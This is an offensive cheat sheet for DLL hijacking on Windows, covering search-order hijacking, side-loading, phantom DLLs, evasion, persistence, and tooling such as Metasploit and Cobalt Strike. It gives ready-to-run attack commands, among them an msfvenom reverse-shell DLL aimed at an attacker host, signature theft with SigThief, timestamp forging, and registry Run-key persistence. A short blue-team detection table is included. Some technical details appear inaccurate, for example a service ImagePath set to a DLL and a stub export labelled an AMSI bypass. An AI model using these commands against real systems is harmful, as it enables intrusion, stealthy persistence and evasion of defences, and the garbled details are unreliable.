# DLL Hijacking Pentest Cheat Sheet

# DLL Hijacking Pentest Cheat Sheet

## Core Techniques

### 1. Search Order Hijacking

**Mechanism**:

`Windows checks directories in order → plant DLL in higher-priority path`

**Attack Paths**:

```
# Common vulnerable directories (priority order):
1. Application folder (C:\Vendor\App\)
2. Python install dir (C:\Python311\)
3. System32 (Admin required)
4. Current working directory
5. PATH entries (check with 'echo %PATH%')
```

### 2. DLL Side-Loading

**Requirements**:

- Legitimate signed EXE
- Writable application directory

**Attack Pattern**:

```
# Generate malicious DLL (example: Beacon)
msfvenom -p windows/x64/shell/reverse_tcp LHOST=10.0.0.1 LPORT=443 -f dll > legit.dll

# Deploy:
cp legit.dll "C:\Program Files\Vendor\app.dll"
start VendorApp.exe  # Triggers malicious DLL
```

### 3. Phantom DLL Loading

**Prime Targets**:

```
| Service           | Missing DLL      | Privilege   |
|-------------------|------------------|-------------|
| WSearch (Windows) | msfte.dll        | SYSTEM      |
| MSDTC             | oci.dll          | SYSTEM      |
| IIS Admin         | wbhst_pm.dll     | NETWORK     |
```

# Modern Evasion Tactics

## Stealth Deployment

```
# Timestamp matching (using sysinternals):
Set-ItemProperty -Path malicious.dll -Name LastWriteTime -Value (Get-Item
legit.exe).LastWriteTime

# Cert spoofing (SigThief):
python sigthief.py -i "C:\Windows\System32\valid.dll" -t malicious.dll -o signed.dll
```

## Living-off-the-Land Paths

```
1. Adobe Updaters:
   `C:\Program Files (x86)\Common Files\Adobe\ARM\`
2. VPN Clients:
   `C:\Program Files\Cisco\AnyConnect\`
3. Dev Tools:
   `C:\Program Files\Microsoft Visual Studio\2022\`
```

# Post-Exploitation

## Persistence Methods

**Service DLL Hijack**:

```
Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\VulnService]
"ImagePath"="C:\\Windows\\System32\\malicious.dll"
```

**Run Key + DLL Search**:

```
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v Update /t REG_SZ /d
"C:\LegitApp\updater.exe"
# updater.exe searches for missing.dll → plant in app dir
```

# Evasion

## Process Argument Obfuscation

```
# Launch with clean arguments:
Start-Process "C:\Program Files\Vendor\app.exe" -ArgumentList "-update -silent"
```

## AMSI Bypass via Exports

```
// DLLMain.cpp - Add benign exports:
extern "C" __declspec(dllexport) void ValidFunction() {
    // Real payload execution
}
```

## Tools & Commands

**Discovery**:

```
# Find missing DLLs:
procmon.exe /noconnect /BackingFile log.pml /Filters "Result=NAME NOT FOUND,Path ends with
.dll"

# Check writable PATH dirs:
accesschk.exe -wuv Users "C:\Python*"
```

**Exploitation**:

```
1. **Metasploit**:
   `use exploit/windows/local/dll_hijack`
2. **Cobalt Strike**:
   `generate-payload --dll --x64`
3. **Manual**:
   - Compile template DLL with export functions matching target
```

[2]

## Detection Signs (For Blue Teams)

```
| Indicator                      | Log Source           |
|--------------------------------|----------------------|
| EXE loading DLL from Temp dir  | Sysmon ID 7          |
| Modified PATH env variable     | Windows Event 4688   |
| Service loading unsigned DLL   | AMSI Event 5007      |
```

## Case Study: PlugX USB Attack

```
USB/
├── [LNK] Removable Drive.lnk → 3.exe
└── History/
    ├── 3.exe            # Legit EXE
    ├── Acrobat.dll      # Malicious payload
    └── AcrobatDC.dat    # Encrypted C2 config
```

## IOC Patterns

```
- **File Hashes**: Look for zero VT hits on DLLs loaded by signed EXEs
- **Process Trees**:
  `Consent.exe → cmd.exe`
  `Brcc32.exe → powershell.exe`
- **Network**: TLS to non-CDN IPs from vendor processes
```

# Resources


1. https://unit42.paloaltonetworks.com/dll-hijacking-techniques/
2. https://freedium.cfd/https://medium.com/@s12deff/dll-injector-malware-development-c-tool-d42a50d0e156